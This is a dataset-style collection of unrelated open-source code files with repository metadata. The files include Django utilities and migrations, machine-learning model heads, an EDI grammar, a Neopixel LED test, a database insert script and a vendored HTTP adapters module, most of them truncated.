2021-06-16T13:09:40
2021-06-16T13:09:40
298,969,263
1
1
null
null
null
null
UTF-8
Python
false
false
670
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'advanceBlogApp.settings') try: from django.core.management import execute_from_command_line exce...
[ "princ3raj1999@gmail.com" ]
princ3raj1999@gmail.com
3a014455f400edcae05b46b534a82c2f547fa079
be69a4f0093561a38449d717112ce94a7616e505
/joulescope_ui/test/test_config.py
1e346c9eba7c0754e605af629da6bbe677ae6325
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
adam-urbanczyk/pyjoulescope_ui
b0692178f4b4257427e97ce8e67b79279d6e04ba
fe5475c8d75b980b63dc3ec6d14f7de99e33efc1
refs/heads/master
2020-06-17T09:21:12.496697
2019-07-02T14:57:18
2019-07-02T14:57:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,596
py
# Copyright 2018 Jetperch LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
[ "matt.liberty@jetperch.com" ]
matt.liberty@jetperch.com
684aa470a21d1d3d0dabc09d2afaf2008ecf134c
eb56b01d5900db238bd94fc0283866575e37d8b5
/aerobot/migrations/0014_delete_gallery.py
e5ee851484617a7b80075a25af3b3a77990afd64
[]
no_license
prathmesh2048/Aerobots-Website
43220db29a89edda059a34f8b7e3c14657103a4e
9c11a5777b770df7aa4f8aec16e7c61f25419c0a
refs/heads/master
2023-03-07T06:24:43.308905
2021-02-22T08:51:58
2021-02-22T08:51:58
292,319,707
1
2
null
null
null
null
UTF-8
Python
false
false
295
py
# Generated by Django 3.1 on 2020-09-03 10:24 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('aerobot', '0013_remove_gallery_link'), ] operations = [ migrations.DeleteModel( name='Gallery', ), ]
[ "prathmeshnandurkar123@gmail.com" ]
prathmeshnandurkar123@gmail.com
41ed640797d8b39a7645ff460aec3b52decb2d9d
14a1c405bb1fe6fc7b5ccf4d6b8a2d042309ce93
/tests/test_github_com.py
a41c327a607414f6008fddac4bec79d69c44f431
[ "MIT" ]
permissive
the-dan/import_from_github_com
f067efd57edce46d83857101516188d5b6ce778d
8fdd185b73835f637bb3e789d15e1ce13ff8f5cb
refs/heads/master
2022-12-07T21:37:44.645946
2020-08-22T14:27:15
2020-08-22T14:27:15
288,563,107
0
0
MIT
2020-08-18T20:58:28
2020-08-18T20:58:27
null
UTF-8
Python
false
false
284
py
def test_import_module(): from github_com.kennethreitz import requests assert requests.get('https://github.com').status_code == 200 def test_import_from_module(): from github_com.kennethreitz.requests import get assert get('https://github.com').status_code == 200
[ "nvbn.rm@gmail.com" ]
nvbn.rm@gmail.com
d61d98030e8ca3ecbdbfec6fe7148c08a55779ed
62e58c051128baef9452e7e0eb0b5a83367add26
/x12/5020/999005020.py
f972b49f11a222801df1d8cfa147f11ba02906ea
[]
no_license
dougvanhorn/bots-grammars
2eb6c0a6b5231c14a6faf194b932aa614809076c
09db18d9d9bd9d92cefbf00f1c0de1c590fe3d0d
refs/heads/master
2021-05-16T12:55:58.022904
2019-05-17T15:22:23
2019-05-17T15:22:23
105,274,633
0
0
null
2017-09-29T13:21:21
2017-09-29T13:21:21
null
UTF-8
Python
false
false
674
py
from bots.botsconfig import * from records005020 import recorddefs syntax = { 'version' : '00403', #version of ISA to send 'functionalgroup' : 'FA', } structure = [ {ID: 'ST', MIN: 1, MAX: 1, LEVEL: [ {ID: 'AK1', MIN: 1, MAX: 1}, {ID: 'AK2', MIN: 0, MAX: 99999, L...
[ "jason.capriotti@gmail.com" ]
jason.capriotti@gmail.com
bdaeffeb33e535244e7fc70fc8248c8c9842f951
f4663fe7fb660b62cca0c17bfd4c568bbc5bfb49
/UNO-R3/examples/test_led.py
485d9c10bf2ad38162d41e7e56ca6cc2675b1b70
[]
no_license
mchobby/pyboard-driver
274f0f90e895bdf6f80c27a716788e5a444c24d3
3fd45b81588d00479bf55d3dc7ea0ece3cb170de
refs/heads/master
2023-04-26T14:27:11.323019
2023-04-13T21:37:50
2023-04-13T21:37:50
63,084,841
12
10
null
2022-11-27T19:35:00
2016-07-11T16:37:00
Python
UTF-8
Python
false
false
430
py
# Test the Neopixel present on the PYBOARD-UNO-R3 board # from uno import pixels from time import sleep led = pixels() # just one LED red = (255,0,0) green = (0,255,0) blue = (0,0,255) led.fill( red ) led.write() sleep(1) led.fill( green ) led.write() sleep(1) led.fill( blue ) led.write() sleep(1) led.fill( (25...
[ "info@mchobby.be" ]
info@mchobby.be
640aef9894f039267aba382904d3941646e285ee
f34dc191304f0c54527948aa7b7123fd6efe85b9
/insert.py
cda7d978b6b817a7d459a0f2974143bf3c9060a9
[]
no_license
sujith1919/groza
b3fc4641de48423da9a219c33e390ea2c4915687
5b68e052266d5307a0058d7031b3b20c4a1b9bcb
refs/heads/master
2023-02-28T03:09:51.568592
2021-02-02T16:34:49
2021-02-02T16:34:49
335,353,163
0
0
null
null
null
null
UTF-8
Python
false
false
1,685
py
#!/usr/bin/python import psycopg2 from config import config def connect(): """ Connect to the PostgreSQL database server """ conn = None try: # read connection parameters params = config() # connect to the PostgreSQL server print('Connecting to the PostgreSQL database...') ...
[ "jayarajan.sujith@oracle.com" ]
jayarajan.sujith@oracle.com
58d53af289dac1c57d3dbf5b28b1bfc2f85b9999
c9b787e405437ae35e7c3865d0fd59e97a9c5918
/noveldl/modules/sources/__init__.py
c6f928aa43dcf6c35715b4dfd6488def3176b00b
[ "Apache-2.0" ]
permissive
CharlesPikachu/noveldl
98944a85c1d0d05bb8eba80ef77b353eb4664289
37f0e27a2e1168884a83802c8808d6bc9cbfe8c0
refs/heads/main
2023-05-23T19:50:42.250136
2022-07-20T15:11:02
2022-07-20T15:11:02
487,217,661
7
2
null
null
null
null
UTF-8
Python
false
false
110
py
'''initialize''' from .zw81 import Zw81Novel from .gebiqu import GeBiquNovel from .xbiquge import XbiqugeNovel
[ "1159254961@qq.com" ]
1159254961@qq.com
43fd9e035ebf49370ede93a58cceb5a1a2df58a2
1c91439673c898c2219ee63750ea05ff847faee1
/mmcls/models/heads/multi_label_linear_head.py
0e9d0684a1b4aff4fa92ba807e550a4de98a6949
[ "Apache-2.0" ]
permissive
ChenhongyiYang/GPViT
d7ba7f00d5139a989a999664ab0874c5c9d53d4d
2b8882b2da41d4e175fe49a33fcefad1423216f4
refs/heads/main
2023-06-08T00:10:07.319078
2023-05-26T15:52:54
2023-05-26T15:52:54
577,075,781
78
2
null
null
null
null
UTF-8
Python
false
false
2,948
py
# Copyright (c) OpenMMLab. All rights reserved. import torch import torch.nn as nn from ..builder import HEADS from .multi_label_head import MultiLabelClsHead @HEADS.register_module() class MultiLabelLinearClsHead(MultiLabelClsHead): """Linear classification head for multilabel task. Args: num_class...
[ "chenhongyiyang@Chenhongyis-MacBook-Pro.local" ]
chenhongyiyang@Chenhongyis-MacBook-Pro.local
d945fc30415b316e05bee88c5573d829ba4719b9
084a13b6524e21914826e842eeefefd09570a970
/experiments/procgen_exploration/jumper/ppo_cnd_2_0.py
9ac4ad7392e37ae8846941d8fc80871f8484960a
[ "MIT" ]
permissive
michalnand/reinforcement_learning
28aa0e2c92b6112cf366eff0e0d6a78b9a56e94f
01635014a37a4c871766b4cdd2caaa26a0c2d8cc
refs/heads/main
2023-06-01T10:27:36.601631
2023-02-12T19:46:01
2023-02-12T19:46:01
217,841,101
3
0
null
null
null
null
UTF-8
Python
false
false
1,187
py
import time import torch import RLAgents import models.ppo_cnd_2_0.src.model_ppo as ModelPPO import models.ppo_cnd_2_0.src.model_cnd_target as ModelCNDTarget import models.ppo_cnd_2_0.src.model_cnd as ModelCND import models.ppo_cnd_2_0.src.config as Config #torch.cuda.set_device("cuda:1") ...
[ "michal.nand@gmail.com" ]
michal.nand@gmail.com
498922c4b2af734bee8adc81ca0627c2f25b46c0
f719ec76a8417fc05a2d46ada2501052e2bf9469
/dicg/torch/baselines/__init__.py
8d90ef326b8eee216b97735a1d2efda2c656eaca
[]
no_license
yang-xy20/DICG
cc31064a3e4a3dd01414161e42b228c2c09bfea7
c64ba9dbbe0f2b745cd04ce516aa1fed4c2cffc7
refs/heads/master
2023-07-04T18:25:18.461196
2021-08-19T21:34:06
2021-08-19T21:34:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
289
py
from dicg.torch.baselines.gaussian_mlp_baseline import GaussianMLPBaseline from dicg.torch.baselines.dicg_critic import DICGCritic from dicg.torch.baselines.attention_mlp_critic import AttentionMLPCritic __all__ = [ 'GaussianMLPBaseline', 'DICGCritic', 'AttentionMLPCritic', ]
[ "lisheng@stanford.edu" ]
lisheng@stanford.edu
dd0b358353cfac1a73baa1e7653032b942731d2a
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03479/s081451690.py
2d434d0c722ffcf0dc82c9e9c3c1e7001d970560
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
139
py
X,Y = map(int,input().split()) ans = 0 for i in range(Y): if X <= Y: ans += 1 X *= 2 else: break print(ans)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
a1c663679afc46149b4c75d89b9206ff3c6e50e4
3313c4750edaebd264108c6ee3e120bd583abde8
/tools/cvpods_playground/fcos.dynamic.res50.1x.d8.tau-1_5.groups1.lambda-0/dynamic_conv.py
ca263cc90011e87d599675bbbaa6b70b5b0999a8
[ "Apache-2.0" ]
permissive
jingmouren/LearnableTreeFilterV2
bf63e754fb0943afb039ee0111a9a884fe46eb38
3814a5a84c0a5c33d6538749eaf5aed4827366de
refs/heads/main
2023-01-22T22:47:15.581961
2020-11-27T04:07:33
2020-11-27T04:07:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
14,616
py
import math import torch import torch.nn.functional as F from torch import nn from prodict import Prodict from cvpods.layers import get_norm from cvpods.modeling.nn_utils import weight_init from cvpods.layers import Conv2d, get_activation, get_norm, masked_conv2d def get_module_running_cost(net): outputs = [[], [...
[ "stevengrove@stu.xjtu.edu.cn" ]
stevengrove@stu.xjtu.edu.cn
eccc336a352e0d802ed588afb9de41f3723494d3
ac82f56dc4c7cb6b370d51c0779113a981ef3f01
/intermol/forces/lj_sigeps_nonbonded_type.py
b06a03a785faa4b02f7e13d431a7dec2ac915d29
[ "MIT" ]
permissive
ctk3b/InterMol
d1e8a53efedcd180ba6e3d5cf80788defae478fb
5224b0a01e6db02ecb9dc1e6996a6df5e9bf630d
refs/heads/master
2020-04-04T20:47:41.012740
2017-03-12T20:51:01
2017-03-12T20:51:01
40,187,082
0
0
null
2015-08-04T13:42:12
2015-08-04T13:42:11
null
UTF-8
Python
false
false
1,302
py
import simtk.unit as units from intermol.decorators import accepts_compatible_units from intermol.forces.abstract_nonbonded_type import AbstractNonbondedType class LjSigepsNonbondedType(AbstractNonbondedType): __slots__ = ['sigma', 'epsilon', 'type'] @accepts_compatible_units(None, None, ...
[ "christoph.t.klein@me.com" ]
christoph.t.klein@me.com
8f802d5a06c8affa293d6fc923516647aea1786f
e14372adf86d3c4f9e73c9f7111db3215c696c3d
/1.入门/从入门到实践/5-1.py
d3c8ef6dd09777d806fc8818c2f24fdc77aee7bf
[]
no_license
hewei-bit/PYTHON_learning
71ddd7560a52575528547187f4fb40f39a3cbbdb
18de8e5bdca165df5a5a4b5e0887846593656f4e
refs/heads/master
2022-12-02T13:38:05.907135
2020-08-13T04:57:41
2020-08-13T04:57:41
261,647,401
0
0
null
null
null
null
UTF-8
Python
false
false
140
py
age = int(input('请输入年龄:')) if age < 2: print('这个人是个婴儿') elif age <4: print('这个人正在蹒跚学步')
[ "1003826976@qq.com" ]
1003826976@qq.com
65973df5fe958ef43d875007d011cb487127b30f
d66818f4b951943553826a5f64413e90120e1fae
/hackerearth/Algorithms/Beautiful Strings/solution.py
33a4185d9020a23110d3f259c0ff305bdb2dd595
[ "MIT" ]
permissive
HBinhCT/Q-project
0f80cd15c9945c43e2e17072416ddb6e4745e7fa
19923cbaa3c83c670527899ece5c3ad31bcebe65
refs/heads/master
2023-08-30T08:59:16.006567
2023-08-29T15:30:21
2023-08-29T15:30:21
247,630,603
8
1
MIT
2020-07-22T01:20:23
2020-03-16T06:48:02
Python
UTF-8
Python
false
false
875
py
""" # Sample code to perform I/O: name = input() # Reading input from STDIN print('Hi, %s.' % name) # Writing output to STDOUT # Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail """ # Write your code here from collections import defaultdict t = in...
[ "hbinhct@gmail.com" ]
hbinhct@gmail.com
ea5ae52448c1744bc885cded9dd21cfdfc274cc2
6deafbf6257a5c30f084c3678712235c2c31a686
/Toolz/dirsearch/thirdparty/requests/adapters.py
f911fc5730d74e1c476e85e4ec74ec4b3be6c1e2
[ "GPL-2.0-only", "Unlicense" ]
permissive
thezakman/CTF-Heaven
53fcb4a72afa821ad05d8cc3b309fb388f958163
4b52a2178922f1502ab00fa8fc156d35e1dc653f
refs/heads/master
2023-04-05T18:20:54.680378
2023-03-21T13:47:45
2023-03-21T13:47:45
167,290,879
182
24
Unlicense
2022-11-29T21:41:30
2019-01-24T02:44:24
Python
UTF-8
Python
false
false
16,627
py
# -*- coding: utf-8 -*- """ requests.adapters ~~~~~~~~~~~~~~~~~ This module contains the transport adapters that Requests uses to define and maintain connections. """ import socket from .models import Response from .packages.urllib3.poolmanager import PoolManager, proxy_from_url from .packages.urllib3.response impo...
[ "thezakman@ctf-br.org" ]
thezakman@ctf-br.org
1c81f2b5373941ff4b3cacc4269d00c333b9dfab
09aee268ce72d282f53fe94f42478e2b3b48127d
/PracticemodelformProject/testapp/admin.py
204fdaf32620f4860c87848b9f5ccbbb2094de3c
[]
no_license
keshava519/Django_Projects
c95d0f8c55d4cc946291be6fb058b7298aefe596
99584892b9d9ec6b6395a382c684b4d036d07874
refs/heads/main
2023-02-23T03:44:32.110742
2021-01-27T15:15:13
2021-01-27T15:15:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
213
py
from django.contrib import admin from testapp.models import Student # Register your models here. class StudentAdmin(admin.ModelAdmin): list_display=['name','marks'] admin.site.register(Student,StudentAdmin)
[ "keshava.cadcam@gmail.com" ]
keshava.cadcam@gmail.com
53410072ce6d7e6b0748d3be7521fbceb1cb762d
0bdfefad123a03754713c64582a3986bd26965bd
/tests/test_user.py
5f947fd39d6c494f18bedaa1ea4c80ede89935a6
[]
no_license
Kennedy128/pitch-survey
889d7747139b88df76bfb09d8801d83cf05063b7
f6c0cb8ab8a57ba4b59b53a8a6092d0c023dc8e5
refs/heads/master
2022-05-29T07:46:54.391714
2020-05-05T23:05:00
2020-05-05T23:05:00
260,503,908
0
0
null
null
null
null
UTF-8
Python
false
false
1,175
py
import unittest from app.models import User from app import db class UserModelTest(unittest.TestCase): def setUp(self): self.new_user = User(username = "kennedy", email ="kennedymbithi12@gmail.com", bio = "I am incredible", profile_pic_url = "image_url", password = 'kenny', id = 1 ) def tearDown(self)...
[ "santa@northpole.com" ]
santa@northpole.com
5bc14ae5ea3af7ab4372e0256775d3e2aac22f15
12321723fce2266e1579b4b30c39b9589008e21a
/FileHandling/Datatypes/Demo15.py
a3a50fe007351a893f1cc7c4dadc7ea1113d224c
[]
no_license
narrasubbarao/practise
77ff99e6934b8c572dbefbd440da174998360326
882a451febbee93d0c5dc2d6e54b1bc50ec2bff5
refs/heads/master
2020-04-22T14:39:53.242896
2019-02-22T07:39:49
2019-02-22T07:39:49
170,451,372
0
0
null
null
null
null
UTF-8
Python
false
false
90
py
t1 = (9,20,30,10,20,50,60,10) no = t1.count(10) print(no) pos = t1.index(10) print(pos)
[ "narrasubbarao29@gmail.com" ]
narrasubbarao29@gmail.com
b5d963da42ff8506f0eeb54936e68ed7926e4e90
6923f79f1eaaba0ab28b25337ba6cb56be97d32d
/BuildingMachineLearningSystemsWithPython/ch01/gen_webstats.py
fa133d769a16dc477cbbb22ac4d2ba34f9a13a27
[]
no_license
burakbayramli/books
9fe7ba0cabf06e113eb125d62fe16d4946f4a4f0
5e9a0e03aa7ddf5e5ddf89943ccc68d94b539e95
refs/heads/master
2023-08-17T05:31:08.885134
2023-08-14T10:05:37
2023-08-14T10:05:37
72,460,321
223
174
null
2022-10-24T12:15:06
2016-10-31T17:24:00
Jupyter Notebook
UTF-8
Python
false
false
1,289
py
# This code is supporting material for the book # Building Machine Learning Systems with Python # by Willi Richert and Luis Pedro Coelho # published by PACKT Publishing # # It is made available under the MIT License # This script generates web traffic data for our hypothetical # web startup "MLASS" in chapter 01 impo...
[ "bb@b.om" ]
bb@b.om
19bc27f2d36f6218270c1f5123559fb259030256
c924753b19bc892f9b756483f080cd8a69f22dec
/tests/test_unparse_sub.py
314d51de3b294148efc0fee5782aec2767c3f5e2
[ "BSD-3-Clause" ]
permissive
mbrukman/fontFeatures
21a65190aea163174486d026627b7a87a2e3fa20
9c33517571d9870e536dea005f7387f52b3fc967
refs/heads/master
2023-03-07T02:41:37.527028
2021-02-16T22:45:47
2021-02-16T22:45:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,808
py
from fontFeatures import Substitution, FontFeatures from fontTools.ttLib import TTFont from fontFeatures.ttLib.GSUBUnparser import GSUBUnparser from fontFeatures.ttLib import unparseLanguageSystems import pprint import unittest class TestUnparse(unittest.TestCase): font = TTFont("fonts/Amiri-Regular.ttf") loo...
[ "simon@simon-cozens.org" ]
simon@simon-cozens.org
10c6776be69dea31de3ce3a5be4102f89e22cf73
f9a2e67dd2f40b37d8ff81bf6cdce47c38d2dee4
/.c9/metadata/environment/clean_architecture/clean_architecture_resources/fb_post_clean_arch/views/create_comment/tests/test_case_01.py
1962727c033f485ecf40d3db6f262ace0d0d43ce
[]
no_license
mohan277/backend_repo
4eae065cf0fffa29866a2b549028cb8df4c97643
25dbb4d0f1c174b6da95f4c73737e49db9978429
refs/heads/master
2022-11-13T00:08:37.600743
2020-07-09T04:36:44
2020-07-09T04:36:44
278,259,585
0
0
null
null
null
null
UTF-8
Python
false
false
4,447
py
{"filter":false,"title":"test_case_01.py","tooltip":"/clean_architecture/clean_architecture_resources/fb_post_clean_arch/views/create_comment/tests/test_case_01.py","undoManager":{"mark":9,"position":9,"stack":[[{"start":{"row":37,"column":0},"end":{"row":37,"column":4},"action":"insert","lines":[" "],"id":2}],[{"st...
[ "senammohanakrishna@gmail.com" ]
senammohanakrishna@gmail.com
3595f3dc264996d3f27dba5091335b3d7999d3c1
70fccf84f1f8dbca2d289e4c983a45b6d715f5df
/utils/prob.py
912341c94261659e690a170ee4c042f344caaa69
[]
no_license
SensorsAudioINI/SpikeSeparation
ca05b4e08e90127bf82226ebc4ba6d7a0618ec94
6807b0914d90f6ae66e550be9ad50483b9c3d983
refs/heads/master
2021-03-30T17:47:27.209746
2020-04-03T14:42:46
2020-04-03T14:42:46
122,992,649
1
0
null
null
null
null
UTF-8
Python
false
false
6,844
py
from __future__ import division from scipy.stats import norm import warnings import numpy as np import progressbar from matplotlib import pyplot index_angles_01 = np.array([[12, 0], [11, -30], [9, -90], [8, -60], [4, 60], [3, 90], [1, 30]]) index_angles_02 = np.array([[1, 30], [2, 60], [3, 90], [4, 120], [5, 150], [6...
[ "enea.ceolini@gmail.com" ]
enea.ceolini@gmail.com
3eb61ccad91e5d6796d947549f7ec095b2ec06a7
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
/langs/8/uov.py
fdf45423c372262f0f9bdaf23dd89445225841dd
[]
no_license
G4te-Keep3r/HowdyHackers
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
refs/heads/master
2020-08-01T12:08:10.782018
2016-11-13T20:45:50
2016-11-13T20:45:50
73,624,224
0
1
null
null
null
null
UTF-8
Python
false
false
486
py
import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: ...
[ "juliettaylorswift@gmail.com" ]
juliettaylorswift@gmail.com
8a76865e6a5cdbbe7fa9df6795eea725d172e6c9
1bbead5d97a279383ae9ae6e4ee70af5d69f1e92
/tokipona1000/init_conll.py
e9dc534168a128e9f2bcd38130063f4255f8815c
[]
no_license
m-rey/tokipona-corpus-collection
de948540b5045477418b88b0fc9594794cb5f921
fd8988273f6dfbdad4aaffc12447d0e63284e5d0
refs/heads/main
2023-09-05T01:33:39.482149
2021-11-20T17:55:34
2021-11-20T17:55:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
551
py
from ilonimi.normalizer import Normalizer from ilonimi.tokenizer import Tokenizer def main(): normalizer = Normalizer() tokenizer = Tokenizer() with open('tokipona1000.txt') as f: for i, x in enumerate(f): x = x.strip() x = normalizer(x) x = tokenizer(x) ...
[ "nymwa0@gmail.com" ]
nymwa0@gmail.com
730bd4b0df6459b044a7418ae3f0717c02a95a42
06bd2a6845afc7b5617602c796de7dedf15ddaf8
/app/__init__.py
de3224552da192f1b39776d8ac450c412a085898
[]
no_license
mathssiqueira/simple-landing
4d94a548b84b3799475487bbbb75d4366b69b890
ce528747b31ff30f9def15bc63530d281610bb2f
refs/heads/master
2023-04-30T15:56:35.181783
2021-05-21T20:58:29
2021-05-21T20:58:29
369,647,666
0
0
null
null
null
null
UTF-8
Python
false
false
115
py
from flask import Flask app = Flask(__name__) app.config.from_object('config') from app.controllers import routes
[ "root@localhost.localdomain" ]
root@localhost.localdomain
acc4b47ecab5e6f2765e24d3ccdf1f6b96e4655a
a797793842f433251d2ab0bafb0ebe800b89a076
/rulet.py
8d79359d829dea8fd95428ecdf71213eb4e4120b
[]
no_license
irhadSaric/Instrukcije
b2f576bceb7e75f5fa65bfef99c9cde53d597b32
9ac8979b824babdeef3712ab9d23c764536d57b0
refs/heads/master
2020-09-28T09:00:08.389651
2020-02-01T20:33:59
2020-02-01T20:33:59
226,740,846
0
0
null
null
null
null
UTF-8
Python
false
false
372
py
import random # hocu da igram 10000 puta rulet # svaki od tih 10000 puta cu birati random broj na ruletu # koja je vjrv da cu dobiti # najveci na ruletu broj : 36 brojiPobjede = 0 for i in range(10000): mojBroj = random.randint(0, 36) ruletovBroj = random.randint(0, 36) if mojBroj == ruletovBroj: ...
[ "irhad.saric@hotmail.com" ]
irhad.saric@hotmail.com
7500539e4b77c87262170eb516cec1aceeee07e0
f00ad57c98e554470a72511dda7a7bfd160aca19
/linear_structure/stack/number_converter.py
c3c80bda42a7c14c042346c0ebb05009899d9057
[]
no_license
fanzhangg/algorithm-problems
d60115210aaaffcd094b34b9db5b46dadf93fe9e
43b111ad625f197ba0905abceab9ee4484284e08
refs/heads/master
2021-07-12T20:24:46.265700
2020-07-06T17:58:31
2020-07-06T17:58:31
171,220,135
1
0
null
null
null
null
UTF-8
Python
false
false
1,684
py
from stack import Stack def dec_to_bin(num: int) -> str: """ Convert integer values into binary numbers Algorithm: Divided By 2 - Start with an integer greater than 0 - Continuously divide the number by 2 and keep track of the reminder - the reversed string of reminders is the binary string ...
[ "vanadiumzhang@gmail.com" ]
vanadiumzhang@gmail.com
ec5f21317444f9e667374731636bce4592443ac0
d55f8836d27dcbe56ce62623f1a69f33c0fd950d
/UpWork_Projects/andy_upwork/wallmart/wallmart/spiders/wmProducts.py
3e363834991c938048b239d63a724da91334d921
[ "MIT" ]
permissive
SurendraTamang/Web-Scrapping
f12f0f8fcb4b6186ecab38c8036181e4d1560bed
2bb60cce9010b4b68f5c11bf295940832bb5df50
refs/heads/master
2022-11-11T10:32:31.405058
2020-06-17T19:34:33
2020-06-17T19:34:33
273,258,179
0
1
null
2020-06-18T14:20:43
2020-06-18T14:20:42
null
UTF-8
Python
false
false
9,336
py
# -*- coding: utf-8 -*- import scrapy from scrapy_selenium import SeleniumRequest from scrapy import Selector import time import pandas as pd from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By class Wmpro...
[ "p.byom26@gmail.com" ]
p.byom26@gmail.com
21502344755f8261134442bd768bce21d57d2f29
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02389/s111149243.py
819894f3d827de376038b5054bffcf2855fbd562
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
60
py
a, b = map(int, input().split()) print(a * b, (a + b) << 1)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
5c09566cc272f32a6131fcd7db6e831101f055f0
add74ecbd87c711f1e10898f87ffd31bb39cc5d6
/xcp2k/classes/_print13.py
a7e6fa4811794eca39b339bb74efedcf02cf7cbe
[]
no_license
superstar54/xcp2k
82071e29613ccf58fc14e684154bb9392d00458b
e8afae2ccb4b777ddd3731fe99f451b56d416a83
refs/heads/master
2021-11-11T21:17:30.292500
2021-11-06T06:31:20
2021-11-06T06:31:20
62,589,715
8
2
null
null
null
null
UTF-8
Python
false
false
709
py
from xcp2k.inputsection import InputSection from xcp2k.classes._program_run_info9 import _program_run_info9 from xcp2k.classes._temperature_colvar1 import _temperature_colvar1 from xcp2k.classes._colvar1 import _colvar1 from xcp2k.classes._hills1 import _hills1 class _print13(InputSection): def __init__(self): ...
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
e76b1d9bfb455dd5ac8a65e32ae019f5a20448aa
3c9d06b1ebf289d5f22cfd53c35e3ea1e6500c36
/detectron2/engine/defaults.py
396943e06f4a3da4e44ff5a53a59418437a96fa3
[ "Apache-2.0" ]
permissive
huangzehao/detectron2
2331115e6b6c4069a11c99fb5deec8073cf7442e
2455e4790f470bba54299c049410fc0713ae7529
refs/heads/master
2021-06-27T19:46:05.908074
2021-04-05T17:32:46
2021-04-05T17:33:34
217,011,286
1
1
Apache-2.0
2019-10-23T08:49:54
2019-10-23T08:49:54
null
UTF-8
Python
false
false
24,859
py
# -*- coding: utf-8 -*- # Copyright (c) Facebook, Inc. and its affiliates. """ This file contains components with some default boilerplate logic user may need in training / testing. They will not work for everyone, but many users may find them useful. The behavior of functions/classes in this file is subject to chang...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
7bf3cd6349e900045b70d5067d841f9c263f9e28
318013ccb8738ace0ec72965dac0a3e3fe2fecad
/venv/bin/rst2man.py
349d495c52f4ce4e924826a8e3e02475f3a96e78
[]
no_license
nahyunkwon/Processing-3DImages
792deafbd1a607af8cae439b5d7ab81f772f6653
bde217aad08dd911ae8125edeae42f7b674614f2
refs/heads/master
2023-01-02T10:29:41.325974
2020-11-01T19:02:19
2020-11-01T19:02:19
299,133,212
0
0
null
null
null
null
UTF-8
Python
false
false
633
py
#!/Users/kwon/PycharmProjects/3D_A2I/venv/bin/python # Author: # Contact: grubert@users.sf.net # Copyright: This module has been placed in the public domain. """ man.py ====== This module provides a simple command line interface that uses the man page writer to output from ReStructuredText source. """ import locale...
[ "skgus2624@gmail.com" ]
skgus2624@gmail.com
ab48adc1e062d9080c5cb2145e3c5b78a51ebdd6
f6078890ba792d5734d289d7a0b1d429d945a03a
/mid-term/chapmanbrendan/chapmanbrendan_26691_1312276_Q3.py
299fe01f6c53025391c5faf4bf7e5800e3c4c29f
[]
no_license
huazhige/EART119_Lab
1c3d0b986a0f59727ee4ce11ded1bc7a87f5b7c0
47931d6f6a2c7bc053cd15cef662eb2f2027712c
refs/heads/master
2020-05-04T23:40:53.709217
2019-06-11T18:30:45
2019-06-11T18:30:45
179,552,067
0
0
null
null
null
null
UTF-8
Python
false
false
2,818
py
# -*- coding: utf-8 -*- """ Created on Wed May 8 08:24:43 2019 @author: blchapma """ #============================================================================ "Packages" #============================================================================ import numpy as np import matplotlib.pyplot as plt ...
[ "hge2@ucsc.edu" ]
hge2@ucsc.edu
1b84faef65cc22245c96450dcbadae2ec6e81808
05725c7af76fd87d94cf424ef7d66efa50ac0bae
/mysite/exam/migrations/0008_auto_20200529_0948.py
0d2407fdaef56b2c25e7ab300a64fb37490869b2
[]
no_license
zhuzemin/questionnaire
759ff2a9f14062f4cc03782269e8c17222a5b778
473a17bb0eb6fadeef0884df61d456d8bbb43259
refs/heads/master
2022-11-07T08:32:42.741511
2020-07-01T07:04:24
2020-07-01T07:04:24
276,302,646
1
0
null
null
null
null
UTF-8
Python
false
false
757
py
# Generated by Django 3.0.6 on 2020-05-29 01:48 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('exam', '0007_exam_status'), ] operations = [ migrations.AddField( model_name='exam', na...
[ "gogs@fake.local" ]
gogs@fake.local
ac5ba21305a500a9b7671ef57166bd48d55276cc
93e5b82332af9f0d3e203d086e30794fb90a2086
/ForKids/appendixb/ch14-game-over.py
474538652bae3b7192201c20d918b5c516da7d26
[]
no_license
swell1009/ex
cfaae0b5fe917f12416170dce60f7dea8194f368
29b274fb51adbdc43af6ebecaec89c97bc58be6f
refs/heads/master
2020-04-04T10:15:20.578932
2018-11-22T06:27:30
2018-11-22T06:27:30
155,848,187
0
0
